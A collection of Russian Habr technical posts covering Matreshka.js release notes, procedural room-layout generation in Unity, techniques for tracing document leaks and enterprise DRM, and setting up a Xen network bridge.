for( var i = 0; i < 100; i++ ) {
procrastinateSomethingHeavy( i );
}
// >> Ok 100
```
Код функции (на случай, если вы захотите использовать её вне Матрешки):
```
var procrastinate = function ( f, d, thisArg ) {
var timeout;
if( typeof d !== 'number' ) {
thisArg = d;
d = 0;
}
return function() {
var args = arguments,
_this = this;
clearTimeout( timeout );
timeout = setTimeout( function() {
f.apply( thisArg || _this, args );
}, d || 0 );
};
};
```
Метод, кроме «прокрастинирующей» функции, принимает задержку, и контекст в качестве аргументов. Задержка отвечает за то, на сколько миллисикунд будет отложен реальный вызов функции при очередной попытке её вызова.
А вот пример случая, когда функция никогда не будет вызвана (для лучшего понимания).
```
var procrastinateSomethingHeavy = MK.procrastinate( function() {
console.log( 'Ok' );
}, 1000 );
setInterval( function() {
procrastinateSomethingHeavy();
}, 500 ); // интервал меньше задержки
```
#### Новый ключ привязчика `initialize`
Привязчик ([binder](http://finom.github.io/matreshka/docs/global.html#binder)) — третий аргумент метода [Matreshka#bindElement](http://finom.github.io/matreshka/docs/Matreshka.html#bindElement-1). Если вы помните, это объект, состоящий из трех свойств: `on` (по какому DOM событию обновить свойство), `getValue` (как извлечь значение свойства из элемента), `setValue` (как установить значение свойства элементу). Подробнее [вот здесь](http://habrahabr.ru/post/196146/#how-matreshka-bindings-work) (кстати, все статьи о Матрешке обновляются каждый релиз и являются актуальным материалом). Теперь появился еще одно опциональное свойство `initialize`.
`initialize` — функция, запускающаяся во время привязки, а точнее, до неё. Задача функци — подсластить код. Взгляните на пример из [первой статьи](http://habrahabr.ru/post/196146/):
> Во-первых, перед привязкой объявим слайдер:
>
>
> ```
>
>
> ```
>
>
>
> ```
> $( ".slider" ).slider({ min: 0, max: 100 });
>
> ```
>
>
> Во-вторых объявляем экземпляр Матрешки:
>
>
> ```
> var mk = new Matreshka();
>
> ```
>
>
> Дальше вызываем привязку:
>
>
> ```
> mk.bindElement( 'x', '.slider', {
> on: 'slide', // событие, по которому из элемента извлекается значение
> getValue: function() {
> return $( this ).slider( 'option', 'value' ); // как вытащить значение из элемента (см. документацию jQuery ui.slider)?
> },
> setValue: function( v ) {
> $( this ).slider( 'option', 'value', v ); // как установить значение для элемента (см. документацию jQuery ui.slider)?
> }
> });
>
> ```
>
Код несколько избыточен: мы дважды обращаемся к элементу с классом `slider` (сначала, применяя плагин, затем привязывая элемент). Теперь этого можно избежать:
```
var mk = new Matreshka();
mk.bindElement( 'x', '.slider', {
initialize: function() {
$( this ).slider({ min: 0, max: 100 });
},
on: 'slide',
getValue: function() {
return $( this ).slider( 'option', 'value' );
},
setValue: function( v ) {
$( this ).slider( 'option', 'value', v );
}
});
```
#### Метод [Matreshka#defineSetter](http://finom.github.io/matreshka/docs/Matreshka.html#defineSetter-1)
Этот новый метод, как не трудно догадаться, определяет сеттер для свойства.
```
this.defineSetter( 'x', function( value ) {
return alert( value );
});
```
При использовании метода нужно помнить, что он перетирает встроенный сеттер свойства (если он был) и события изменения свойства не будут работать.
```
this.x = 1;
this.on( 'change:x', function( evt ) { // обраьотчик, который не сработает из-за перетертого сеттера
alert( 'x is changed to ' + evt.value );
});
this.defineSetter( 'x', function() {
// ...
});
this.x = 2;
```
#### Новый синтаксис для имен событий: добавление обработчикоов событий для свойств и элементов коллекции
Сожалуй, самое важное в этом релизе — возможность добавить обработчик события на внутреннее содержимое экземпляра.
##### Событие `"ключ@имя_события"`
Теперь можно добавить обработчик для свойства внутри любого класса, унаследованного от Матрешки (в том числе, для [MK.Object](http://finom.github.io/matreshka/docs/Matreshka.Object.html) и [MK.Array](http://finom.github.io/matreshka/docs/Matreshka.Array.html)), при условии, если значением свойства является экземпляр Матрешки. Взгляните на пример:
```
var mk = new MK;
mk.on( 'x@yeah', function() {
alert( 'yeah' );
});
mk.x = new MK;
mk.x.trigger( 'yeah' );
```
Обратите внимание, что порядок определения свойства и навешивания обработчика не важен: вы можете сперва добавить обработчик события, а, затем, объявить свойство. Причем, если значение свойства меняется, то обработчик срабатывает только для нового значения, а для старого обработчик удаляется.
##### Событие `"@имя_события"` для `MK.Object`
Такое имя события позволяет добавить обработчик для JSON ключа экземпляра `MK.Object` (что такое JSON ключ, или ключ, отвечающий за данные, смотрите в [статье об MK.Object](http://habrahabr.ru/post/196886/)).
```
var mkObject = new MK.Object;
mkObject.on( '@yeah', function() {
alert( 'yeah' );
});
mkObject.jset( 'x', new MK );
mkObject.x.trigger( 'yeah' );
```
Порядок объявления свойства и обработчика событий так же не важен.
##### Событие `"@имя_события"` для `MK.Array`
По аналогии с `MK.Object`, такую же возможность имеет и `MK.Array`: обработчик навешивается на любой из элементов массива, при условии, что этот элемент унаследован от Матрешки.
```
var mkArray = new MK.Array;
mkArray.on( '@yeah', function() {
alert( 'yeah' );
});
mkArray.push( new MK );
mkArray[ 0 ].trigger( 'yeah' );
```
Эти три изменения не ограничтваются только лишь прослушкой события `"yeah"`, можно с уверенностью слушать и другие события, например, `"change:свойство"`
```
this.on( 'x@change:y', function() { /* ... */ } );
this.on( '@change:y', function() { /* ... */ } );
```
Теоретически, эта фича позволяет строить причудливые имена событий, слушая другие события в глубине дерева данных. Скажем, у нас есть структура данных, которую можно изобразить в виде объекта:
```
{
a: [{
b: { c: { e: 1 } }
}, {
b: { d: { e: 2 } }
}]
}
```
Для того, чтоб докапаться до изменений свойства `"e"`, можно добавить такой обработчик:
```
this.on( 'a@@b@@change:e', function() { /* ... */ } );
```
#### Метод [Matreshka#$bound](http://finom.github.io/matreshka/docs/Matreshka.html#$bound)
У Матрешки есть два метода, возвращающие привязанные элементы: [Matreshka#bound](http://finom.github.io/matreshka/docs/Matreshka.html#bound), который возвращет первый привязанный элемент или `null` и [Matreshka#boundAll](http://finom.github.io/matreshka/docs/Matreshka.html#boundAll), который возвращает коллекцию привязанных элементов. Здесь могут возникнуть проблемы у новичков, работающих с jQuery и не знакомых с [VanillaJS](http://vanilla-js.com/) в понимании термина «коллекция» и привыкших к знау доллара. Поэтому, во фреймворк был добавлен метод `$bound` делающий совершенно то же самое, что и [Matreshka#boundAll](http://finom.github.io/matreshka/docs/Matreshka.html#boundAll).
```
this.bindElement( 'a', '#x, #y' );
this.$bound( 'a' ).animate( /* ... */ ); // применяем любой jQuery метод
```
#### Другие изменения
##### [Matreshka.useAs$](http://finom.github.io/matreshka/docs/Matreshka.html#useAs$) вместо `usejQuery` и `useBalalaika`
Напомню, начиная с версии 0.1, Матрешка избавилась от жесткой зависимости jQuery, используя микро-библиотеку «Балалайка», если jQuery нет на странице. Седствием этогого изменения было создание двух методов, которые, не зависимо от наличия jQuery, заставляли Матрешку использовать одну з двух библиотек с помощью методов `usejQuery` (на случай, если jQuery была подключена после Матрешки) и `useBalalaika` (на случай, если jQuery был подключен раньше Матрешки, но вы всё равно хотите использовать встроенную библиотеку). Теперь плявился метод, который позволяет использовать вообще любую jQuery-подобную библиотеку (`usejQuery` и `useBalalaika` помечены, как устаревшие).
Примеры использования:
```
MK.useAs$( jQuery );
MK.useAs$( jQuery.noConflict() );
MK.useAs$( Zepto );
MK.useAs$( MK.$b ); // Балалайка
```
Следствием этого изменения стало то, что Матрешка, загружаясь, использует библиотеку знак-доллара, если такая есть и имеет определенные методы, вместо использования только лишь jQuery. Какие именно методы, можете узнать в [исходном коде одного из файлов проекта](https://github.com/finom/matreshka/blob/master/src/dollar-lib.js).
##### Метод [xclass.same](http://finom.github.io/matreshka/docs/global.html#xclass)
Небольшое изменение, добавляющее ситаксический сахар в классы (см. [статью о наседовании](http://habrahabr.ru/post/200078/)). Часто, создавая класс, конструктору этого класса требуется, всего лишь, вызвать конструктор родителя в собственном контексте:
```
var MyClass = Class({
'extends': AnotherClass,
constructor: function() {
AnotherClass.call( this, arguments );
},
someNewMethod: function() { /* ... */ }
});
```
Теперь то же самое можно сделать более кратко:
```
var MyClass = Class({
'extends': AnotherClass,
constructor: AnotherClass.same(),
someNewMethod: function() { /* ... */ }
});
```
##### Добавление обработчиков DOM событий (например, `"click::x"`) до того, как элемент был привязан
У Матрешки есть возможность навешивать обработчики событий на приязанные элементы с помощью метода [Matreshka#on](http://finom.github.io/matreshka/docs/Matreshka.html#on):
```
this.bindElement( 'x', '.my-element' );
this.on( 'click::x', function() {
alert( '.my-element is clicked' );
});
```
Проблема в том, что нельзя было добавить обработчик DOM собтия до того, как элемент был привязан. Приходилось извращаться ожиданием события `bind` и добавлением обработчика по наступлению этого события:
```
this.on( 'bind:x', function() {
this.on( 'click::x', function() {
alert( '.my-element is clicked' );
});
});
this.bindElement( 'x', '.my-element' );
```
Теперь порядок привязки/добавления DOM события не важен:
```
this.on( 'click::x', function() {
alert( '.my-element is clicked' );
});
this.bindElement( 'x', '.my-element' );
```
#### Исправленные ошибки/рефакторинг
* [Matreshka.Array#initializeSmartArray](http://finom.github.io/matreshka/docs/Matreshka.Array.html#initializeSmartArray) (документация к методу в работе) теперь возвращает `this`
* [Matreshka.Array#createFrom](http://finom.github.io/matreshka/docs/Matreshka.Array.html#createFrom) принимает `undefined` в качестве аргумента
* Изменены случаи, когда срабатывает событие `"modify"` для класса [Matreshka.Array](http://finom.github.io/matreshka/docs/Matreshka.Array.html)
* Матрешка теперь вызывает событие `"delete"` при удалении свойства вместо `"remove"` потому что у `Matreshka.Array` есть событие с таким же именем, но вызываемое в другом случае
* Если `[].forEach` не существует, генерируется ошибка с предложением подсключить [es5-shim](https://github.com/es-shims/es5-shim)
* Исправлен баг в парсере Балалайки
* Исправлен баг в методе [Matreshka#once](http://finom.github.io/matreshka/docs/Matreshka.html#once), теперь обработчик может быть удален с помощью метода [Matreshka#off](http://finom.github.io/matreshka/docs/Matreshka.html#off)
* Теперь триада `eventName + eventHandler + context` может быть добавленна только раз на один экземпляр
* Исправил баг в функции `Class` (`splice` vs `slice`)
* Рефакторинг методов [Matreshka#on](http://finom.github.io/matreshka/docs/Matreshka.html#on) and [Matreshka#off](http://finom.github.io/matreshka/docs/Matreshka.html#off)
* Небольшой рефакторинг [Matreshka#trigger](http://finom.github.io/matreshka/docs/Matreshka.html#trigger) и [MK#set](http://finom.github.io/matreshka/docs/Matreshka.html#set)
#### Что дальше?
1. В следующей статье я ознакомлю вас с реализацией TodoMVC. Статья, уже готова, но требует редактирования. Реализация тоже готова, но для нее допиливается документация.
2. После этого планируется большая статья о `MK.Array`, заменяющая предыдущую. Там я расскажу подробне о методах, о том, как рендерятся элементы массива, о «модели» и о том, как передавать опции в методы массивов.
3. Версия 0.3 с кучей интересных изменений, которые уже тестируется. Как обычно, будет статья.
Затем, грядет большое ревью документации, в том числе, с причесыванием текстов и исправлению ошибок, касающихся английского языка. Текст [главной страницы](http://finom.github.io/matreshka/) и страницы [«Почему Матрешка?»](http://finom.github.io/matreshka/about/) уже исправлен.
Всем добра! | https://habr.com/ru/post/231333/ | null | ru | null |
# Процедурная генерация планов помещений
Что делает крупный разработчик игр, когда ему нужно состряпать много помещений для игрового мира? Нанимает кучу художников. Что делает ленивый/бедный/одинокий разработчик игр в такой же ситуации? Пишет процедурный генератор, который выполняет за него всю грязную работу.
По процедурной генерации планов помещений есть [много](http://arxiv.org/pdf/1211.5842.pdf), [очень](http://cs.stanford.edu/people/eschkufz/research/a181-merrell.pdf) [много](http://dspace.mit.edu/bitstream/handle/1721.1/45649/399893067.pdf) [статей](https://dr.library.brocku.ca/bitstream/handle/10464/3409/Brock_Flack_Robert_2011.pdf?sequence=1). [Вот](http://graphics.tudelft.nl/~rval/papers/tutenel.tciaig11.pdf) [ещё](http://rvsn.csail.mit.edu/Pubs/master_whiting_2006june_bmgwriteup.pdf) [пяток](http://www.generativeart.com/on/cic/GA2010/2010_18.pdf) [ссылок](http://axon.cs.byu.edu/Dan/673/papers/martin.pdf) [на](http://iv.csit.carleton.ca/~awhitehe/pubs/SIGGRAPH2006.pdf) [статьи](http://www.benbradley.com/files/picag.pdf). Только исходников ни к одной из них нет.
В этой статье я расскажу о том, как я реализовал на Unity3d один простой метод генерации, который приводит к хорошим результатам и легко модифицируется. С картинками и исходниками.
Если хотите, то можете почитать [оригинальную статью](http://graphics.tudelft.nl/~rval/papers/lopes.GAMEON10.pdf), но суть примерно следующая:
* Всё пространство разбито на клетки наподобие сетки в архитектурных планах.
* Внешние стены уже существуют и подаются на вход программе.
* Есть список комнат, которые нужно разместить на плане.
* Комнаты имеют параметр «желаемый размер» и коэффициенты притяжения друг к другу
* Точки рождения комнат раскидываются по плану случайным образом, возможно с помощью некоей примерной карты.
* Затем каждая точка начинает прямоугольно расти пока не достигнет определённых для неё размеров.
* Когда все прямоугольники выросли, комнаты начинают расти в форме буквы L до тех пор, пока это возможно.
* Оставшееся свободное место пристёгивается к соседям.
Комнаты растут по одной стенке за раз, чтобы избежать наползания стен и комнат друг на друга. Стенка выбирается из самых больших стен комнаты, если есть одинаковые — берётся случайная. Наибольшая стена берётся для того, чтобы рост площади комнат был максимальным, и они были «пухлыми».
Теперь про мою реализацию. Я не стал пока заморачиваться с реалистичностью планировки, коэффициентами и размерами комнат — это всё украшательства, я работал над основным алгоритмом, всё остальное можно быстро добавить. Также в статье говорится о специальных проверках, предотвращающих появление П-образных комнат, я не стал их делать, не вижу ничего плохого в таких комнатах. Также я не расставлял коридоры, двери и окна, это отдельная тема, и их расстановка может зависеть от генерации всего остального здания.
Самым сложным было выбрать принцип роста комнат и способ хранения данных о них и здании. Один и тот же результат можно получить с помощью клеточных автоматов или даже простого пробега по массиву. Я перепробовал несколько вариантов, мне хотелось всегда иметь представление о габаритах комнаты и точном положении её стен, поэтому я создал класс, в котором хранятся только углы комнаты, а стены автоматически создаются путём связывания двух соседних углов.
Связывание стен это по сути поиск оболочки полигона из набора точек. Задача нетривиальная и с кучей подвохов, если интересно, то советую заглянуть [сюда](http://en.wikipedia.org/wiki/Convex_hull_algorithms). К счастью, я решил ограничиться прямыми углами между соседними стенами и смастерил простенький алгоритм:
* Находим минимальные и максимальные значения координат X и Y в наборе точек.
* Из точки (minX, minY) отправляемся наверх по игреку и поочерёдно ищем точку с такими координатами, если её там нет, то ищем справа, снизу и слева. Когда находим, вытаскиваем её из старого списка, переносим в новый список.
* От координат этой точки в старом списке ищем следующую точку выше по игреку, если нашли — переносим в новый список, удаляем из старого, запоминаем, что нашли стену, которая параллельна Y, значит следующая стена должна быть параллельна X.
* Ищем точку по иксу справа и слева, переносим в новый список, запоминаем ориентацию только что найденной стены, ищем дальше по аналогии.
* Последнюю точку в старом списке просто переносим в новый.
**Сортировка углов комнаты**
```
public GridVector SortCorners()
{
// Ищем границы комнаты
var minX = corners[0].x;
var maxX = corners[0].x;
var minY = corners[0].y;
var maxY = corners[0].y;
foreach (var corner in corners)
{
if (corner.x < minX) minX = corner.x;
if (corner.x > maxX) maxX = corner.x;
if (corner.y < minY) minY = corner.y;
if (corner.y > maxY) maxY = corner.y;
}
// Сортируем углы комнаты
var oldC = new List(corners);
var newC = new List();
bool parallelX = false;
while (oldC.Count > 1)
{
// Ищем первый угол
if (newC.Count == 0)
{
if (ScanUp(ref oldC, ref newC, minX, minY, maxY)) continue;
if (ScanRight(ref oldC, ref newC, minX, minY, maxX)) continue;
if (ScanDown(ref oldC, ref newC, minX, minY, minY)) continue;
if (!ScanLeft(ref oldC, ref newC, minX, minY, minX))
{
Debug.Log("Error on start");
return null;
}
}
// Ищем остальные углы
else
{
var last = newC[newC.Count - 1];
if (parallelX)
{
if (ScanRight(ref oldC, ref newC, last.x, last.y, maxX))
{
parallelX = false;
continue;
}
if (ScanLeft(ref oldC, ref newC, last.x, last.y, minX))
{
parallelX = false;
continue;
}
}
else
{
if (ScanUp(ref oldC, ref newC, last.x, last.y, maxY))
{
parallelX = true;
continue;
}
if (ScanDown(ref oldC, ref newC, last.x, last.y, minY))
{
parallelX = true;
continue;
}
}
Debug.Log("Error -------------------------------------------------");
Debug.Log("Corners: " + corners.Count);
Debug.Log("OldC: " + oldC.Count);
Debug.Log("NewC: " + newC.Count);
Debug.Log(last);
color = Color.red;
return last;
}
}
// Добавляем последний оставшийся угол
newC.Add(oldC[0]);
corners = newC;
return null;
}
bool ScanLeft(ref List oldC, ref List newC, int startX, int startY, int minX)
{
for (var x = startX; x >= minX; x--)
{
var index = oldC.FindIndex(gv => gv.x == x && gv.y == startY);
if (index > -1)
{
newC.Add(oldC[index]);
oldC.RemoveAt(index);
return true;
}
}
return false;
}
bool ScanUp(ref List oldC, ref List newC, int startX, int startY, int maxY)
{
for (var y = startY; y <= maxY; y++)
{
var index = oldC.FindIndex(gv => gv.x == startX && gv.y == y);
if (index > -1)
{
newC.Add(oldC[index]);
oldC.RemoveAt(index);
return true;
}
}
return false;
}
bool ScanRight(ref List oldC, ref List newC, int startX, int startY, int maxX)
{
for (var x = startX; x <= maxX; x++)
{
var index = oldC.FindIndex(gv => gv.x == x && gv.y == startY);
if (index > -1)
{
newC.Add(oldC[index]);
oldC.RemoveAt(index);
return true;
}
}
return false;
}
bool ScanDown(ref List oldC, ref List newC, int startX, int startY, int minY)
{
for (var y = startY; y >= minY; y--)
{
var index = oldC.FindIndex(gv => gv.x == startX && gv.y == y);
if (index > -1)
{
newC.Add(oldC[index]);
oldC.RemoveAt(index);
return true;
}
}
return false;
}
```
В конечном итоге, у нас получается список углов, отсортированных по часовой стрелке, из которого можно запросто вывести стены. Благодаря сортировке становится легко узнать ещё одну важную вещь — направление наружу от стены комнаты. Для того чтобы повернуть конец стены наружу, нужно поменять X и Y местами и инвертировать первую координату, чтобы получилось следующее: (-y, x).
Комнаты хранятся в виде точек, точки сортируются, стены строятся автоматически, направление наружу известно — всего этого достаточно, чтобы проверять свободное пространство на плане этажа и выращивать комнаты. Иногда правда приходится добавлять новые стены, когда старые уже во что-то упёрлись и не могут расти.
Для проверки доступности клеток и поиска возможных новых стен я использую одну функцию, которая собирает список доступных для роста участков подаваемой на вход стены. Потом я сортирую найденные сегменты со всей комнаты по категориям: цельные стены, кусочки у края стены, центральные сегменты. Выбираю самую большую стенку из доступных и отправляю в функцию роста комнаты, а она сама разбирается, есть у неё уже такая стенка, или нужно создать новую. Когда стенка есть, координаты её концов сдвигаются наружу, что приводит к автоматическому удлинению соседних стен.
**Поиск сегментов стены**
```
List FindSegments(RoomWall wall, Color freeColor, Color roomColor)
{
var moved = wall + wall.outwards.minimized;
BresenhamLine(moved, new Color(Random.value \* 0.7f + 0.1f, Random.value \* 0.7f + 0.1f, Random.value \* 0.7f + 0.1f), segmentsTexture);
var x0 = moved.start.x;
var y0 = moved.start.y;
var x1 = moved.end.x;
var y1 = moved.end.y;
var segments = new List();
GridVector start = null;
GridVector end = null;
bool steep = Math.Abs(y1 - y0) > Math.Abs(x1 - x0);
if (steep)
{
Swap(ref x0, ref y0);
Swap(ref x1, ref y1);
}
if (x0 > x1)
{
Swap(ref x0, ref x1);
Swap(ref y0, ref y1);
}
for (int x = x0; x <= x1; x++)
{
for (int y = y0; y <= y1; y++)
{
int coordX = steep ? y : x;
int coordY = steep ? x : y;
Color color = texture.GetPixel(coordX, coordY);
if (color != freeColor && color != roomColor)
{
if (end != null && start != null)
{
var segment = new RoomWall(start, end);
segment -= wall.outwards.minimized;
segments.Add(segment);
start = null;
end = null;
}
scanTexture.SetPixel(coordX, coordY, Color.red);
}
else
{
if (start == null)
{
start = new GridVector(coordX, coordY);
}
end = new GridVector(coordX, coordY);
scanTexture.SetPixel(coordX, coordY, Color.green);
}
}
}
if (end != null && start != null)
{
var segment = new RoomWall(start, end);
segment -= wall.outwards.minimized;
segments.Add(segment);
}
return segments;
}
```
Для отображения всех манипуляций с комнатами я использую текстуру, в пиксели которой заношу положения стен. Если не стирать старые стенки, то получаются заполненные области, как на gif-ке в начале статьи. Стены рисую с помощью линий Брезенхема, про которые я писал [здесь](http://habrahabr.ru/post/185086/). В случае возникновения проблем со склейкой стен, всё сразу становится видно. Вместо текстуры можно использовать двумерный массив или сразу оперировать трёхмерной моделью.
Внешние стены можно генерировать очень просто. Рисуем несколько чёрных прямоугольников произвольных размеров, а поверх них рисуем такие же только белые и на один пиксель меньше с каждой стороны. Получается много разных домиков. Ещё их можно сделать трёхмерными и покрыть крышей. *Голосом Каневского:* Впрочем, это уже совсем другая история.
По ссылкам ниже можете посмотреть бинарники и исходники готового проекта.
[Unity Web Player](http://basmanovdaniil.github.io/ProceduralExperiments) | [Windows](https://github.com/BasmanovDaniil/ProceduralExperiments/releases/download/v0.1/ProceduralExperiments.Windows.zip) | [Linux](https://github.com/BasmanovDaniil/ProceduralExperiments/releases/download/v0.1/ProceduralExperiments.Linux.tar.gz) | [Mac](https://github.com/BasmanovDaniil/ProceduralExperiments/releases/download/v0.1/ProceduralExperiments.Mac.zip) | [Исходники на GitHub](https://github.com/BasmanovDaniil/ProceduralExperiments)
Shift — Создаёт случайные внешние стены со случайными комнатами
Ctrl — Загрузить тестовую текстуру со случайными комнатами
Enter — Убрать все комнаты и загрузить тестовую текстуру
Пробел — Остановить рост комнат
Единица на алфавитной клавиатуре — Включить визуализацию поиска свободных клеток
Левая кнопка мыши на свободной области — Добавить комнату
Esc — Выход
Для пользователей Linux: Сделайте файл ProceduralExperiments.x86 исполняемым с помощью «chmod +x ProceduralExperiments.x86» и запускайте. | https://habr.com/ru/post/184818/ | null | ru | null |
# «Если уже слили»: как сделать документооборот чуточку безопаснее — базовые ИБ-рекомендации
Ранее мы обсуждали неочевидные моменты, связанные с [ротацией парольных фраз](https://1cloud.ru/blog/analitika-zashity-personalnyh-dannyh) и персональной ИБ. Сегодня продолжим тему, но поговорим о работе с файлами, а именно о том, как вычислить, кто «слил» конфиденциальную информацию по метаданным и защитить документы компании.
 Wikimedia / U.S. Navy photo / PDПоиск «уникальных утечек»
-------------------------
Если компания обменивается конфиденциальными файлами с большим количеством партнеров, неизбежно случаются утечки и закрытая информация попадает в сеть. Как сообщили в ZDNet, буквально пару месяцев назад так «[слили](https://www.zdnet.com/article/intel-investigating-breach-after-20gb-of-internal-documents-leak-online/)» корпоративные файлы Intel объёмом более 20 Гбайт.
Источник подобной проблемы можно было бы обнаружить, если заранее внедрить в документооборот вспомогательную систему, которая вносила бы в каждую копию особо ценных документов незначительные модификации — дополнительные пробелы, отсутствующие точки, «невидимые символы», [омоглифы](https://ru.wikipedia.org/wiki/%D0%9E%D0%BC%D0%BE%D0%B3%D0%BB%D0%B8%D1%84) или даже опечатки. Это — один из самых простых вариантов защиты, поэтому его достаточно легко вычислить, если у человека есть опыт работы с текстом. В качестве более продвинутого подхода применяют более сложные [аффинные преобразования](https://ru.wikibooks.org/wiki/%D0%90%D1%84%D1%84%D0%B8%D0%BD%D0%BD%D1%8B%D0%B5_%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F).
Такой метод годится как для обычных бумаг, так и для электронных файлов. С помощью средств автоматизации в распространяемые экземпляры вносят уникальные комбинации изменений — например, незначительные различия в межстрочных интервалах, [кернинге](https://ru.wikipedia.org/wiki/%D0%9A%D0%B5%D1%80%D0%BD%D0%B8%D0%BD%D0%B3), цвете текста и других параметрах форматирования. Проверка копий производится с помощью программного наложения таких признаков — в системе они находятся в виде компактных «слепков», чтобы не забивать хранилище сотнями вариантов для каждого отдельного PDF-файла. Кстати, на днях [на Хабре выходил рассказ](https://habr.com/ru/company/niisokb/blog/511320/) от лица компании, занимающейся разработками в этой области, а простейшие действия можно [предпринять](https://security.stackexchange.com/questions/227257/document-security-how-to-find-whos-leaked-a-confidential-document/227263) и путем генерации документов с помощью Python-библиотеки [FPDF](https://www.geeksforgeeks.org/convert-text-and-text-file-to-pdf-using-python/):
```
from fpdf import FPDF
pdf = FPDF()
pdf.add_page()
pdf.set_font("Arial", size = 15)
pdf.cell(200, 10, txt = "HabraPost",
ln = 1, align = 'C')
```
Помимо или в качестве дополнения к работе с содержимым стоит рассмотреть возможность учета метаданных. Уникальные экземпляры особо ценных файлов можно «прогонять» через утилиты вроде [MD5 Hash Changer](https://github.com/ewwink/MD5-Hash-Changer), модифицирующие хеш путем добавления произвольного числа null-значений.
Вендор-лок aka DRM
------------------
Этот подход стоит смело отнести к более жестким, но уже из категории превентивных. Он известен всем по широкому применению в среде дистрибуции музыки, [игр](https://en.wikipedia.org/wiki/Always-on_DRM) и электронных книг, где сложно себе представить возможность отслеживания судьбы сотен миллионов уникальных копий файлов.
Решения такого типа есть для корпоративной среды — например, их [используют](https://www.businesswire.com/news/home/20120626005615/en/Samsung-Unveils-Game-Changing-DRM-Technology-Hospitality-Industry) для лицензирования видео в индустрии гостеприимства, чтобы не закупать специальное DRM-железо для отелей, защитить трансляции от копирования и эффективнее управлять инфраструктурой для доставки контента.
Если говорить о более классических use-кейсах (защите корпоративных документов), речь в основном сводится к работе над [корпоративной мобильностью](https://en.wikipedia.org/wiki/Enterprise_mobility_management) (на дистанционное и в офисе) — контролю за устройствами сотрудников, сетевым доступом и шифрованием. Этот подраздел DRM-контроля еще называют [IRM](https://en.wikipedia.org/wiki/Information_rights_management) (Information rights management) или E-DRM (Enterprise Digital Rights Management).
Avi Richards / Unsplash.comЧасто такие решения разворачивают в облаке — например, для отдельных [виртуальных рабочих мест](https://1cloud.ru/blog/udalennyj-dostup-k-kompyuteru-s-pomoshchyu-vdi). Такой подход позволяет закрыть и ряд вопросов, связанных с угрозой зловредов и [различных векторов](https://ssd.eff.org/en/module/how-avoid-phishing-attacks) атак, которые могут привести к сливу особо важных документов компании.
Отдельные решения — вроде [Dangerzone](https://github.com/firstlookmedia/dangerzone) — могут послужить дополнением к такому сетапу.
Они конвертируют в своей «песочнице» подозрительные док-файлы, изображения и презентации (например, поступившие от неизвестных отправителей по email в адрес компании) в безопасные PDF-ки.
### Вопрос доверия
Различные методики защиты документов применяют и спецслужбы (см. [дело Реалити Виннер](https://en.wikipedia.org/wiki/Reality_Winner)), но иногда стоит взвесить необходимость использования большей части из этих мер в вашей компании.
Если вы введете их без помощи юристов или не уведомите ваших сотрудников о том, что защищаете документооборот с определенными целями, а они начнут замечать странное форматирование документов, такая забота об информационной безопасности может стать «выстрелом в собственную ногу». После этого вам придется тратить сили уже на восстановление доверия в коллективе.
Нужно понимать, что технологии — [не могут](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%80%D0%B5%D0%B1%D1%80%D1%8F%D0%BD%D0%BE%D0%B9_%D0%BF%D1%83%D0%BB%D0%B8_%D0%BD%D0%B5%D1%82) быть «серебряной пулей», если рассматривать их в отрыве от человеческого фактора и анализа общего устройства бизнес-процессов компании.
**Дополнительное чтение**:
* [Анализируем рекомендации по защите ПД и ИБ — на что обратить внимание](https://1cloud.ru/blog/analitika-zashity-personalnyh-dannyh)
* [Почему разработчики дороже денег, как их сохранить и приумножить](https://1cloud.ru/blog/pochemu-razrabotchiki-doroje-deneg)
* [TL;DR: непривычная «дистанционка», досмотр гаджетов и личная ИБ](https://habr.com/ru/company/1cloud/blog/520260/)
**На Хабре**:
* [Квантовые коммуникации: система распределения ключа для десяти участников сети](https://habr.com/ru/company/1cloud/blog/520896/)
* [Полный граф в квантовой сети для восьми участников — обсуждаем этот эксперимент](https://habr.com/ru/company/1cloud/blog/522340/)
--- | https://habr.com/ru/post/522914/ | null | ru | null |
# Xen networking: проблема выбора
### Preface
Жил-был на сервере Xen hypervisor, виртуальные машины крутил, по сети трафик гонял, ни о чём не думал.
Сеть жила через xenbr0, который обьединял eth0 и виртуальные интерфейсы.
Кроме eth0 был на сервере ещё один интерфейс — eth1. Который за ненадобностью не использовался.
И вот в связи с умиранием роутера — решил админ через eth1 пускать свою локалку в Сеть.
Недолго думая поднял eth1, воткнул провайдерский шнурок, байтики потекли — хорошо…
Но случилось страшное — ребут. После ребута xenbr0 напрочь отказался подниматься, мотивируя это тем, что интерфейс ppp0 занят…
«При чём здесь ppp0» — подумаете вы — и будете правы.
Админ тоже так же подумал. И начал маны читать и в скриптах ксеновских ковыряться.
### Вот что наковырял
Схема сети у Xen простая, как дверь.
При старте xend дёргает скрипт (по-умолчанию — /etc/xen/scripts/network-bridge), который делает следующее:
> 1. Создаёт мост xenbr0
>
> 2. Тушит физический eth0
>
> 3. Копирует IP и MAC физического eth0 на виртуальный интерфейс veth0
>
> 4. Переименовывает физический eth0 в peth0
>
> 5. Виртуальный veth0 переименовывает в eth0
>
> 6. peth0 и vif0.0 цепляет на xenbr0
>
> 7. Поднимает xenbr0, peth0, eth0 и vif0.0
Это в теории. А на практике скрипт почему-то пытался все действия произвести с ppp0.
Происходит это потому, что скрипт по-умолчанию работает с интерфейсом, который у нас default route.
Ладно, не беда, добрые разработчики предусмотрели это — /etc/xen/scripts/network-bridge можно запускать с параметрами.
Примерно так:
`/etc/xen/scripts/network-bridge start bridge=xenbr0 netdev=eth0`
То есть жёстко задавать интерфейс, через который мы будем работать. Причём у меня скрипт почему-то отказался тушить eth0 сам — пришлось ему помогать руками…
Исходя из вышенаписанного — решение проблемы оказалось довольно простым.
Практика
Тушим eth0
`ifconfig eth0 down`
Конфигурим мост
`/etc/xen/scripts/network-bridge start bridge=xenbr0 netdev=eth0`
Поднимаем мост (скрипт почему-то и этого не сделал)
`ifconfig xenbr0 up`
Всё, байтики от виртуальных машин пошли в локальную сеть и интернет. | https://habr.com/ru/post/50560/ | null | ru | null |
# Как аккуратно залезть в кишки WebRTC при передаче голоса и видео
